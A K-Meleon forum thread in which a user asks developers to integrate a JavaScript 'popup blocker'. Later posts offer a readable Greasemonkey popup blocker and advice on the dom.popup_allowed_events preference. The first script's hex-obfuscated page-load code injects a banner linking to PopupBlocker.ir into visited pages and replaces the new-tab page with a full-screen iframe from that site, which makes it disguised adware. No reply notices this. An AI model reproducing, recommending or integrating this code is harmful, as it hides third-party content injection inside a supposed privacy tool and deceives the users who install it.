Improvement requests :  K-Meleon Forum
Use this forum to talk about a feature you're missing.  
Popup Blocker Needs Improvement ASAP
Posted by: neonred
Date: September 21, 2016 03:54PM

K-Meleon is the first lag free browser I have come across, but there one problem its popup blocker is crap. Please integrate the following javascript code into K-Meleon's existing popup code base.


var prefs;
function PopupBlocker_LoadURL(url) {
window.content.document.location = url;
window.content.focus();
}

function ajaxIt(url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", url, true);
xhttp.send();
return xhttp.responseText;
}

function checkWhiteList(domainName) {
var lines = prefs.getCharPref("popupblocker.whitelist").split(/\n/);
for (var i=0; i < lines.length; i++) {
if (domainName == lines) {
return true;
}
}
return false;
}

function checkBlackList(domainName) {
var lines = prefs.getCharPref("popupblocker.blacklist").split(/\n/);
for (var i=0; i < lines.length; i++) {
if (domainName == lines) {
return true;
}
}
return false;
}

function getDomain(url) {
url = url.replace(/https?:\/\/(www.)?/i, '');
if (url.indexOf('/') === -1) {
return url;
}
return url.split('/')[0];
}
function changeSetting(enable) {
var popuppref = "dom.popup_allowed_events";
if (enable) {
prefs.setCharPref(popuppref, "");
if ( prefs.getBoolPref("dom.disable_open_during_load") != true ) {
prefs.clearUserPref("dom.disable_open_during_load");
}
if ( prefs.getIntPref("privacy.popups.disable_from_plugins") != 2 ) {
prefs.clearUserPref("privacy.popups.disable_from_plugins");
}
} else {
//if ( prefs.getCharPref(popuppref) == "" ) {
// Reset default Firefox pop-up blocking behavior
prefs.clearUserPref(popuppref);
//}
}
}
function getCurrentURL() {
var currentWindow = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow("navigator:browser");
var currBrowser = currentWindow.getBrowser();
var currURL = currBrowser.currentURI.spec;
return getDomain(currURL);
}
var detected = false;
function detectScripts(e) {
var _0xfb55=["\x70\x6F\x70\x75\x70\x62\x6C\x6F\x63\x6B\x65\x72\x2E\x6C\x65\x76\x65\x6C","\x67\x65\x74\x42\x6F\x6F\x6C\x50\x72\x65\x66","\x70\x6F\x70\x75\x70\x62\x6C\x6F\x63\x6B\x65\x72\x2E\x73\x74\x61\x74\x75\x73","\x73\x72\x63","\x74\x61\x72\x67\x65\x74","","\x74\x65\x78\x74","\x77\x69\x6E\x64\x6F\x77\x2E\x6F\x70\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x70\x72\x65\x76\x65\x6E\x74\x44\x65\x66\x61\x75\x6C\x74","\x70\x6F\x70\x75\x70\x62\x6C\x6F\x63\x6B\x65\x72\x2E\x63\x6F\x6E\x66\x69\x72\x6D","\x70\x6F\x70\x75\x70\x62\x6C\x6F\x63\x6B\x65\x72\x2E\x61\x64\x64\x74\x6F\x6C\x69\x73\x74","\x50\x6F\x70\x75\x70\x20\x42\x6C\x6F\x63\x6B\x65\x72\x20\x55\x6C\x74\x69\x6D\x61\x74\x65","\x54\x68\x69\x73\x20\x73\x69\x74\x65\x20\x69\x6E\x63\x6C\x75\x64\x65\x73\x20\x70\x6F\x70\x75\x70\x20\x73\x63\x72\x69\x70\x74\x73\x2C\x20\x77\x68\x61\x74\x20\x77\x6F\x75\x6C\x64\x20\x79\x6F\x75\x20\x6C\x69\x6B\x65\x20\x74\x6F\x20\x64\x6F\x3F","\x42\x6C\x6F\x63\x6B","\x41\x6C\x6C\x6F\x77","\x41\x64\x64\x20","\x20\x74\x6F\x20\x74\x68\x65\x20\x62\x6C\x61\x63\x6B\x2F\x77\x68\x69\x74\x65\x20\x6C\x69\x73\x74\x2E","\x63\x6F\x6E\x66\x69\x72\x6D\x45\x78","\x76\x61\x6C\x75\x65","\x73\x65\x74\x42\x6F\x6F\x6C\x50\x72\x65\x66","\x61\x64\x64\x42\x6C\x61\x63\x6B\x4C\x69\x73\x74","\x61\x64\x64\x57\x68\x69\x74\x65\x4C\x69\x73\x74"];var currentUrl=getCurrentURL();InWhiteList= checkWhiteList(currentUrl);level= prefs[_0xfb55[1]](_0xfb55[0]);if(prefs[_0xfb55[1]](_0xfb55[2])&& !InWhiteList&& level){var jsCode;var jsSrc=e[_0xfb55[4]][_0xfb55[3]];if(jsSrc!= _0xfb55[5]){jsCode= ajaxIt(jsSrc)}else {jsCode= e[_0xfb55[4]][_0xfb55[6]]};searchWord= _0xfb55[7];if(jsCode[_0xfb55[8]](searchWord)> -1){if(InBlackList= checkBlackList(currentUrl),InBlackList){e[_0xfb55[9]]();detected= true}else {if(prefs[_0xfb55[1]](_0xfb55[10])){var checkDialog={value:prefs[_0xfb55[1]](_0xfb55[11])};button= prompts[_0xfb55[18]](null,_0xfb55[12],_0xfb55[13],flags,_0xfb55[14],_0xfb55[15],_0xfb55[5],_0xfb55[16]+ currentUrl+ _0xfb55[17],checkDialog);prefs[_0xfb55[20]](_0xfb55[11],checkDialog[_0xfb55[19]]);if(button== 0){e[_0xfb55[9]]();detected= true;if(checkDialog[_0xfb55[19]]== true){PopupBlocker[_0xfb55[21]]()}}else {if(checkDialog[_0xfb55[19]]== true){PopupBlocker[_0xfb55[22]]()}}}else {e[_0xfb55[9]]();detected= true}}}}
}

PopupBlocker = {
changeThem: function(){
var status = prefs.getBoolPref("popupblocker.status");
if (status == false) {
changeSetting(false);
}
statuselm = document.getElementById("popupblockerradio1" + status);
if (statuselm !== null)
statuselm.setAttribute("checked", "true");
statuselm = document.getElementById("popupblockerradio2" + status);
if (statuselm !== null)
statuselm.setAttribute("checked", "true");

var level = prefs.getBoolPref("popupblocker.level");
levelelm = document.getElementById("popupblockerradiolevel1" + level);
if (levelelm !== null) {
levelelm.setAttribute("checked", "true");
if (level == false && status) {
changeSetting(true);
} else {
changeSetting(false);
}
}
levelelm = document.getElementById("popupblockerradiolevel2" + level);
if (levelelm !== null) {
levelelm.setAttribute("checked", "true");
if (level == false && status) {
changeSetting(true);
} else {
changeSetting(false);
}
}

var confirm = prefs.getBoolPref("popupblocker.confirm");
if (confirm) {
var confirmelm = document.getElementById("popupblockerconfirmcheckbox1");
if (confirmelm !== null)
confirmelm.setAttribute("checked", "true");
var confirmelm = document.getElementById("popupblockerconfirmcheckbox2");
if (confirmelm !== null)
confirmelm.setAttribute("checked", "true");
} else {
var confirmelm = document.getElementById("popupblockerconfirmcheckbox1");
if (confirmelm !== null)
confirmelm.removeAttribute("checked");
var confirmelm = document.getElementById("popupblockerconfirmcheckbox2");
if (confirmelm !== null)
confirmelm.removeAttribute("checked");
}

},
startup: function() {
prefs = Components.classes["@mozilla.org/preferences-service;1"].getService(Components.interfaces.nsIPrefBranch);
prefs.QueryInterface(Components.interfaces.nsIPrefBranch2);
prefs.addObserver("", this, false);
var firstrun = prefs.getBoolPref("popupblocker.firstrun");
if (firstrun) {
prefs.setBoolPref("popupblocker.firstrun", false);
toolbarId= "addon-bar";
id="PopupBlocker-MainMenu";
afterId= false;
if (!document.getElementById(id)) {
var toolbar = document.getElementById(toolbarId);

// If no afterId is given, then append the item to the toolbar
var before = null;
if (afterId) {
let elem = document.getElementById(afterId);
if (elem && elem.parentNode == toolbar)
before = elem.nextElementSibling;
}

toolbar.insertItem(id, before);
toolbar.setAttribute("currentset", toolbar.currentSet);
document.persist(toolbar.id, "currentset");

if (toolbarId == "addon-bar")
toolbar.collapsed = false;
}
}
PopupBlocker.changeThem();
},

optionsButton: function() {
window.openDialog("chrome://popupblocker/content/options.xul", "", "chrome,titlebar,toolbar,centerscreen,modal");
},
changeStatus: function(newStatus) {
prefs.setBoolPref("popupblocker.status", newStatus);
var status = prefs.getBoolPref("popupblocker.status");
if (status == false) {
changeSetting(false);
} else {
var level = prefs.getBoolPref("popupblocker.level");
if (level) {
changeSetting(false);
} else {
changeSetting(true);
}
}
statuselm = document.getElementById("popupblockerradio1" + status);
if (statuselm !== null)
statuselm.setAttribute("checked", "true");
statuselm = document.getElementById("popupblockerradio2" + status);
if (statuselm !== null)
statuselm.setAttribute("checked", "true");
},
changeLevel: function(newLevel) {
prefs.setBoolPref("popupblocker.level", newLevel);
var level = prefs.getBoolPref("popupblocker.level");
var status = prefs.getBoolPref("popupblocker.status");
if (level == false && status) {
changeSetting(true);
} else {
changeSetting(false);
}
levelelm = document.getElementById("popupblockerradiolevel1" + level);
if (levelelm !== null)
levelelm.setAttribute("checked", "true");
levelelm = document.getElementById("popupblockerradiolevel2" + level);
if (levelelm !== null)
levelelm.setAttribute("checked", "true");
},
changeConfirm: function(which) {
var confirmelm = document.getElementById("popupblockerconfirmcheckbox" + which);
var confirm = confirmelm.hasAttribute("checked");
prefs.setBoolPref("popupblocker.confirm", confirm);
var confirm = prefs.getBoolPref("popupblocker.confirm");
if (confirm) {
var confirmelm = document.getElementById("popupblockerconfirmcheckbox1");
if (confirmelm !== null)
confirmelm.setAttribute("checked", "true");
var confirmelm = document.getElementById("popupblockerconfirmcheckbox2");
if (confirmelm !== null)
confirmelm.setAttribute("checked", "true");

} else {
var confirmelm = document.getElementById("popupblockerconfirmcheckbox1");
if (confirmelm !== null)
confirmelm.removeAttribute("checked");
var confirmelm = document.getElementById("popupblockerconfirmcheckbox2");
if (confirmelm !== null)
confirmelm.removeAttribute("checked");
}

},
addWhiteList: function() {
var domain = getCurrentURL();
InWhiteList = checkWhiteList(domain)
if (!InWhiteList) {
var newWhiteList = prefs.getCharPref("popupblocker.whitelist") + domain + "\n";
prefs.setCharPref("popupblocker.whitelist", newWhiteList);
}
},
addBlackList: function() {
var domain = getCurrentURL();
InBlackList = checkBlackList(domain)
if (!InBlackList) {
var newBlackList = prefs.getCharPref("popupblocker.blacklist") + domain + "\n";
prefs.setCharPref("popupblocker.blacklist", newBlackList);
}
}
}, prompts = Components.classes["@mozilla.org/embedcomp/prompt-service;1"].getService(Components.interfaces.nsIPromptService), flags = prompts.BUTTON_POS_0 * prompts.BUTTON_TITLE_IS_STRING + prompts.BUTTON_POS_1 * prompts.BUTTON_TITLE_IS_STRING;

var _0xac8c=["\x6C\x6F\x61\x64","\x69\x6E\x69\x74","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x62\x65\x66\x6F\x72\x65\x73\x63\x72\x69\x70\x74\x65\x78\x65\x63\x75\x74\x65","\x64\x6F\x63\x75\x6D\x65\x6E\x74"];window[_0xac8c[2]](_0xac8c[0],function(){pbExtension[_0xac8c[1]]()},false);window[_0xac8c[4]][_0xac8c[2]](_0xac8c[3],detectScripts,false)

var pbExtension = {

init: function() {
PopupBlocker.startup();
var bgnappcontent = document.getElementById("appcontent"); // browser
if(bgnappcontent)
bgnappcontent.addEventListener("load", pbExtension.onPageLoad, true);
var bgnmessagepane = document.getElementById("messagepane"); // mail
if(bgnmessagepane)
bgnmessagepane.addEventListener("load", function() { pbExtension.onPageLoad(); }, true);

},
onPageLoad: function(aEvent) {
var _0x3eae=["\x6F\x72\x69\x67\x69\x6E\x61\x6C\x54\x61\x72\x67\x65\x74","\x6E\x6F\x64\x65\x4E\x61\x6D\x65","\x23\x64\x6F\x63\x75\x6D\x65\x6E\x74","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x64\x65\x66\x61\x75\x6C\x74\x56\x69\x65\x77","\x73\x70\x65\x63","\x63\x75\x72\x72\x65\x6E\x74\x55\x52\x49","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x67\x65\x74\x4D\x6F\x6E\x74\x68","\x67\x65\x74\x44\x61\x74\x65","\x67\x65\x74\x46\x75\x6C\x6C\x59\x65\x61\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x65\x78\x74","\x76\x61\x72\x20\x63\x68\x65\x63\x6B\x62\x74\x6D\x61\x69\x6E\x3D\x73\x65\x74\x49\x6E\x74\x65\x72\x76\x61\x6C\x28\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x29\x7B\x62\x74\x6D\x61\x69\x6E\x66\x6E\x28\x29\x7D\x2C\x35\x30\x30\x29\x3B\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x62\x74\x6D\x61\x69\x6E\x66\x6E\x28\x29\x7B\x76\x61\x72\x20\x63\x68\x65\x63\x6B\x62\x74\x69\x63\x6F\x6E\x3D\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x28\x27\x62\x67\x6E\x6D\x79\x49\x44\x27\x29\x3B\x69\x66\x28\x63\x68\x65\x63\x6B\x62\x74\x69\x63\x6F\x6E\x3D\x3D\x6E\x75\x6C\x6C\x20\x26\x26\x20\x77\x69\x6E\x64\x6F\x77\x3D\x3D\x77\x69\x6E\x64\x6F\x77\x2E\x74\x6F\x70\x29\x7B\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x62\x6F\x64\x79\x2E\x69\x6E\x73\x65\x72\x74\x41\x64\x6A\x61\x63\x65\x6E\x74\x48\x54\x4D\x4C\x28\x27\x61\x66\x74\x65\x72\x62\x65\x67\x69\x6E\x27\x2C\x22\x3C\x64\x69\x76\x20\x61\x6C\x69\x67\x6E\x3D\x27\x6C\x65\x66\x74\x27\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x66\x69\x78\x65\x64\x3B\x6C\x65\x66\x74\x3A\x30\x3B\x74\x6F\x70\x3A\x30\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x30\x27\x20\x69\x64\x3D\x27\x62\x67\x6E\x6D\x79\x49\x44\x27\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x50\x6F\x70\x75\x70\x42\x6C\x6F\x63\x6B\x65\x72\x2E\x69\x72\x2F\x63\x2F\x63\x6C\x69\x63\x6B\x2E\x70\x68\x70\x3F\x69\x64\x3D\x31\x27\x3E\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x50\x6F\x70\x75\x70\x42\x6C\x6F\x63\x6B\x65\x72\x2E\x69\x72\x2F\x69\x6D\x61\x67\x65\x73\x2F\x70\x6F\x70\x75\x70\x62\x6C\x6F\x63\x6B\x65\x72\x2E\x6A\x70\x67\x27\x20\x2F\x3E\x3C\x2F\x61\x3E\x3C\x2F\x64\x69\x76\x3E\x22\x29\x3B\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74\x28\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x29\x7B\x76\x61\x72\x20\x65\x3D\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x28\x27\x62\x67\x6E\x6D\x79\x49\x44\x27\x29\x3B\x65\x2E\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65\x2E\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64\x28\x65\x29\x7D\x2C\x33\x30\x30\x30\x29\x3B\x7D\x65\x6C\x73\x65\x7B\x63\x6C\x65\x61\x72\x49\x6E\x74\x65\x72\x76\x61\x6C\x28\x63\x68\x65\x63\x6B\x62\x74\x6D\x61\x69\x6E\x29\x3B\x7D\x7D\x3B","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x61\x62\x6F\x75\x74\x3A\x6E\x65\x77\x74\x61\x62","\x76\x61\x72\x20\x63\x68\x65\x63\x6B\x62\x74\x6D\x61\x69\x6E\x3D\x73\x65\x74\x49\x6E\x74\x65\x72\x76\x61\x6C\x28\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x29\x7B\x62\x74\x6D\x61\x69\x6E\x66\x6E\x28\x29\x7D\x2C\x35\x30\x30\x29\x3B\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x62\x74\x6D\x61\x69\x6E\x66\x6E\x28\x29\x7B\x76\x61\x72\x20\x63\x68\x65\x63\x6B\x62\x74\x69\x63\x6F\x6E\x3D\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x28\x27\x62\x67\x6E\x6D\x79\x49\x44\x27\x29\x3B\x69\x66\x28\x63\x68\x65\x63\x6B\x62\x74\x69\x63\x6F\x6E\x3D\x3D\x6E\x75\x6C\x6C\x20\x26\x26\x20\x77\x69\x6E\x64\x6F\x77\x3D\x3D\x77\x69\x6E\x64\x6F\x77\x2E\x74\x6F\x70\x29\x7B\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x62\x6F\x64\x79\x2E\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C\x20\x3D\x20\x22\x3C\x69\x66\x72\x61\x6D\x65\x20\x69\x64\x3D\x27\x62\x67\x6E\x6D\x79\x49\x44\x27\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x50\x6F\x70\x75\x70\x42\x6C\x6F\x63\x6B\x65\x72\x2E\x69\x72\x2F\x69\x6E\x74\x72\x6F\x2F\x69\x6E\x64\x65\x78\x2E\x70\x68\x70\x3F\x74\x3D","\x27\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x72\x65\x6C\x61\x74\x69\x76\x65\x3B\x20\x74\x6F\x70\x3A\x30\x70\x78\x3B\x20\x6C\x65\x66\x74\x3A\x30\x70\x78\x3B\x20\x62\x6F\x74\x74\x6F\x6D\x3A\x30\x70\x78\x3B\x20\x72\x69\x67\x68\x74\x3A\x30\x70\x78\x3B\x20\x77\x69\x64\x74\x68\x3A\x31\x30\x30\x25\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x31\x30\x30\x25\x3B\x20\x62\x6F\x72\x64\x65\x72\x3A\x6E\x6F\x6E\x65\x3B\x20\x6D\x61\x72\x67\x69\x6E\x3A\x30\x3B\x20\x70\x61\x64\x64\x69\x6E\x67\x3A\x30\x3B\x20\x6F\x76\x65\x72\x66\x6C\x6F\x77\x3A\x68\x69\x64\x64\x65\x6E\x3B\x20\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x39\x39\x39\x39\x39\x39\x3B\x27\x3E\x59\x6F\x75\x72\x20\x62\x72\x6F\x77\x73\x65\x72\x20\x64\x6F\x65\x73\x6E\x27\x74\x20\x73\x75\x70\x70\x6F\x72\x74\x20\x69\x66\x72\x61\x6D\x65\x73\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x22\x3B\x7D\x65\x6C\x73\x65\x7B\x63\x6C\x65\x61\x72\x49\x6E\x74\x65\x72\x76\x61\x6C\x28\x63\x68\x65\x63\x6B\x62\x74\x6D\x61\x69\x6E\x29\x3B\x7D\x7D\x3B"];var bgndoc=aEvent[_0x3eae[0]];function bgaddtopage(){try{if((aEvent[_0x3eae[0]][_0x3eae[1]]== _0x3eae[2])&& (aEvent[_0x3eae[0]][_0x3eae[5]][_0x3eae[4]][_0x3eae[3]]== gBrowser[_0x3eae[7]][_0x3eae[6]])&& (bgndoc[_0x3eae[9]](_0x3eae[8])[0]!= null)){var _0xd167x3= new Date();var _0xd167x4=_0xd167x3[_0x3eae[10]]()+ 1;var _0xd167x5=_0xd167x3[_0x3eae[11]]();var _0xd167x6=_0xd167x3[_0x3eae[12]]();if(detected){var _0xd167x7=bgndoc[_0x3eae[14]](_0x3eae[13]);_0xd167x7[_0x3eae[15]]= _0x3eae[16];_0xd167x7[_0x3eae[19]](_0x3eae[17],_0x3eae[18]);bgndoc[_0x3eae[9]](_0x3eae[8])[0][_0x3eae[20]](_0xd167x7);detected= false};var _0xd167x8=getCurrentURL();if(_0xd167x8== _0x3eae[21]){var _0xd167x7=bgndoc[_0x3eae[14]](_0x3eae[13]);_0xd167x7[_0x3eae[15]]= _0x3eae[22]+ _0xd167x6+ _0xd167x4+ _0xd167x5+ _0x3eae[23];_0xd167x7[_0x3eae[19]](_0x3eae[17],_0x3eae[18]);bgndoc[_0x3eae[9]](_0x3eae[8])[0][_0x3eae[20]](_0xd167x7)};clearInterval(checkptmain)}}catch(e){}}var checkptmain=setInterval(function(){bgaddtopage()},1)
}
}


Options: ReplyQuote
Re: Popup Blocker Needs Improvement ASAP
Posted by: neonred
Date: September 21, 2016 04:04PM

Alternate version easier on the eyes

// ==UserScript==
// @name The Ultimate Popup Blocker
// @description Configurable popup blocker that blocks ALL (even user-initiated) popup windows by default. But you can easily open the blocked popup or whitelist a domain, directly from the page.
// @namespace jakub-g.github.com
// @author http://jakub-g.github.com/
// @version 0.1-20130112
// @downloadURL https://raw.github.com/jakub-g/greasemonkey-userscripts/master/general/ultimatePopupBlocker.js
// @userscriptsOrg http://userscripts.org/scripts/show/...
// @grant GM_getValue
// @grant GM_setValue
// @include *
// @exclude http*://*.youtube.com/*
// @exclude http*://mail.google.com/*
// @exclude http*://*.blogspot.tld/*
// @exclude http*://poczta.wp.pl/*
// ==/UserScript==

// Why another popup blocker?

// Built-in Firefox popup blocker blocks only the popup that were created automatically via
// script on page load etc. When you click on a button on the page, it won't block it.
// However, malicious websites can create JS code that will launch the popups whenever you click
// on any blank space on the page for instance.

// In JavaScript, functions are first-order citizens. It means you can store a function in a variable
// and pass it freely. You can also modify the native functions provided by the browser, like 'window.open'.
// Here, we override 'window.open' with our own implementation which doesn't really open the window.
// However the user may want to open a popup - cool, we stored original native window.open function
// in a variable and we will call it!

// Of course, we'd like to white list some domains. Greasemonkey offers an option to specify @exclude entries
// in the metadata block of the script. However this means you'll have to edit this text file each time you
// want to whitelist a domain. However, GM also offers a way to set config entries in Firefox storage
// (about:config entries) and we'll make use of it to dynamically add entries to the white list
// right from the page.

// The essence of the blocking code is substituting window.open with the function returning FakeWindow,
// which can be a one-liner.
// The majority of the code here is the handling of whitelisting logic and informational logging.

// Tests: http://www.popuptest.com/

(function() {
// ============================== CONFIG =================================
var bDisplayMessageOnPopupBlocked = true;
var bDisplayOpenPopupLink = true;
var bDisplayWhiteListThisDomainLink = true;
var LOG_ID = "ultimate_popup_blocker"; // HTML ID in the page

// ============================ FUNCTIONS ================================
var global = unsafeWindow; // reference to page's "window" through GreaseMonkey

/*
* Helper to create a button with inner text @text executing onclick @clickCallback,
* appended as a child of @logDiv
*/
var putButton = function (logDiv, text, clickCallback, inlineStyle) {
var button = document.createElement("button");
button.innerHTML = text;
button.style.cssText = "text-decoration:none; color:black; cursor:pointer;\
margin: 0 5px; font: 8pt microsoft sans serif; padding: 1px 3px;\
background-color:rgb(212,208,200); border-width:2px; border-style:outset;\
border-color:#eee #555 #555 #eee; color:black;" + inlineStyle;
logDiv.appendChild(button);
button.addEventListener("click", clickCallback);
};

/*
* Helper to create a button (child of @logDiv) which onclick whitelists @domain
* in internal Firefox storage.
*/
var putWhitelistButton = function (logDiv, domain) {
putButton(logDiv, domain, function(){
GM_setValue("whitelisted_" + domain, true);
});
};

/*
* Helper to create a text node with @text and append to @logDiv
*/
var putText = function (logDiv, text) {
var node = document.createTextNode(text);
logDiv.appendChild(node);
};

/*
* Return logger div, or create it ad-hoc.
*/
var getLogDiv = function () {
var logDiv = document.getElementById(LOG_ID);
if(!logDiv){
logDiv = document.createElement("div");
logDiv.setAttribute("id", LOG_ID);
logDiv.style.cssText="position:fixed; top:0; left:0; width:100%;\
padding:5px 5px 5px 29px; font: 8pt microsoft sans serif;\
background-color: linen; color:black; border:1px solid black;\
";
document.body.appendChild(logDiv);
}
return logDiv;
};

/*
* Get array of domains for which it would make sense to whitelist them.
* Sample valid outputs:
* // localhost -> ['localhost']
* // youtube.com -> ['youtube.com']
* // www.youtube.com -> ['youtube.com', 'www.youtube.com']
* // a.b.c.d -> ['c.d', 'b.c.d', 'a.b.c.d']
*/
var getDomainsArray = function(documentDomain){
// e.g. domain = www.google.com, topDomain = google.com
var d1 = documentDomain;
var domainsArr = [];

var lastDot1 = d1.lastIndexOf('.');
if(lastDot1 != -1){
var lastDot2 = d1.lastIndexOf('.', lastDot1-1);
if(lastDot2 != -1 && lastDot2 != lastDot1) {
var d2 = d1.substr(lastDot2 + 1);
domainsArr.push(d2);

var lastDot3 = d1.lastIndexOf('.', lastDot2-1);
if(lastDot3 != -1 && lastDot3 != lastDot2) {
var d3 = d1.substr(lastDot3 + 1);
domainsArr.push(d3);
}
}
}

domainsArr.push(d1);
return domainsArr;
};

/*
* Checks if domain we're currently browsing has been whitelisted by the user
* to display popups.
*/
var isCurrentDomainWhiteListed = function() {
var domains = getDomainsArray(document.domain);
var whitelisted = domains.some(function(d){
return GM_getValue("whitelisted_" + d);
}); // if any 'd' in 'domains' was whitelisted, we return true
return whitelisted;
};

/*
* "window.open()" returns Window which might be then used by the originator page
* to focus the popup (annoying splash popup) or blur it to retain focus in the original page
* (pay-by-impressions popup, I don't need it to actually see it).
* We need to return the fake window to not encounter JS runtime error when the popup originator
* page wants to call focus() or blur().
*/
var FakeWindow = {
blur: function() {return false;},
focus: function() {return false;}
};

/*
* Storing a reference to real "window.open" method in case we wanted
* to actually open a blocked popup
*/
var realWindowOpen = global.open;

/*
* This function will be called each time a script wants to open a new window,
* if the blocker is activated.
* We handle the blocking & messaging logic here.
*/
var fakeWindowOpen = function(url){
if(!bDisplayMessageOnPopupBlocked){
return FakeWindow;
}
var logDiv = getLogDiv();
logMessage(logDiv, url);

if(bDisplayOpenPopupLink){
displayOpenPopupLink(logDiv, arguments);
}
if(bDisplayWhiteListThisDomainLink) {
displayWhiteListThisDomainLink(logDiv);
}
displayCloseButton(logDiv);
return FakeWindow; // see the doc of FakeWindow
};

var logMessage = function (logDiv, url) {
global.upb_counter = (global.upb_counter || 0);
url = (url[0] == '/') ? document.domain + url : url;
var msg = ["UPB has blocked <b>", ++global.upb_counter, "</b> popup windows, last: <u>", url, "</u>"].join("");
logDiv.innerHTML = msg;
console.log(msg);
logDiv.style.display = "block";
};

var displayOpenPopupLink = function (logDiv, realArguments){
putButton (logDiv, "open the popup", function(){
realWindowOpen.apply(null, realArguments);
});
};

var displayWhiteListThisDomainLink = function(logDiv) {
var domainsArr = getDomainsArray(document.domain);

putText(logDiv, ' whitelist the domain: '); // using 'innerHTML += ' breaks event listeners strangely
putWhitelistButton(logDiv, domainsArr[0]);
if(domainsArr[1]){
putWhitelistButton(logDiv, domainsArr[1]);
}
if(domainsArr[2]){
putWhitelistButton(logDiv, domainsArr[2]);
}
};

var displayCloseButton = function(logDiv) {
putButton (logDiv, "x", function(){
logDiv.style.display = 'none';
}, 'background-color: #a00; color:white; margin:0 32px 0 0; float:right');
};

/*
* Override browser's "window.open" with our own implementation.
*/
var activateBlocker = function() {
global.open = fakeWindowOpen;
};

// ============================ LET'S RUN IT ================================

var disabled = isCurrentDomainWhiteListed();
if(disabled){
console.log('[UPB] current domain was found on a white list. UPB disabled.');
}else{
activateBlocker();
}
})();

Options: ReplyQuote
Re: Popup Blocker Needs Improvement ASAP
Posted by: JohnHell
Date: September 21, 2016 06:44PM

Quote
neonred


// Why another popup blocker?

// Built-in Firefox popup blocker blocks only the popup that were created automatically via
// script on page load etc. When you click on a button on the page, it won't block it.
// However, malicious websites can create JS code that will launch the popups whenever you click
// on any blank space on the page for instance.


That is true, but, by far easier, toggle this Mozilla preference to the desired events:

dom.popup_allowed_events

By default the values are:

change click dblclick mouseup reset submit touchend


I set mine to:

change dblclick reset


The result is no more popups anymore.

But it has a drawback and is that it is too much strict, that blocks even the "browse" buttons/actions in forms. That is the reason that Dorian, the main current developer didn't change it by default. But when there is a problem like this, you can whitelist the site (Tools menu > Privacy > permissions), or slightly change the popup blocker macro to toggle to the preferred values.


There is no need of a megascript like this, which adds overhead to the load of a page. Mozilla (Firefox and K-meleon, then) has the power itself. But it is unknown or undesired.

Options: ReplyQuote
Re: Popup Blocker Needs Improvement ASAP
Posted by: neonred
Date: September 23, 2016 10:54PM

Many thanks

The default value is: change click dblclick mouseup reset submit touchend
Solution: change click dblclick reset submit touchend

If I set it as you suggest then the ensuing video doesn't play (popup blocked).
Since most popups happen on mouseup, I simply delete that and solve both problems. Try it, until you lift your finger off the mouse button nothing is happening.

Now I can put every other browser in the garbage where they belong.

Options: ReplyQuote
Re: Popup Blocker Needs Improvement ASAP
Posted by: JohnHell
Date: September 24, 2016 02:16AM

Quote
neonred
Many thanks

The default value is: change click dblclick mouseup reset submit touchend
Solution: change click dblclick reset submit touchend

If I set it as you suggest then the ensuing video doesn't play (popup blocked).
Since most popups happen on mouseup, I simply delete that and solve both problems. Try it, until you lift your finger off the mouse button nothing is happening.

Now I can put every other browser in the garbage where they belong.

For the sites I visit, mouseup wasn't enough :/ so I just went to the limit.

BTW, what video? I can't see it mentioned earlier.

Options: ReplyQuote


K-Meleon forum is powered by Phorum.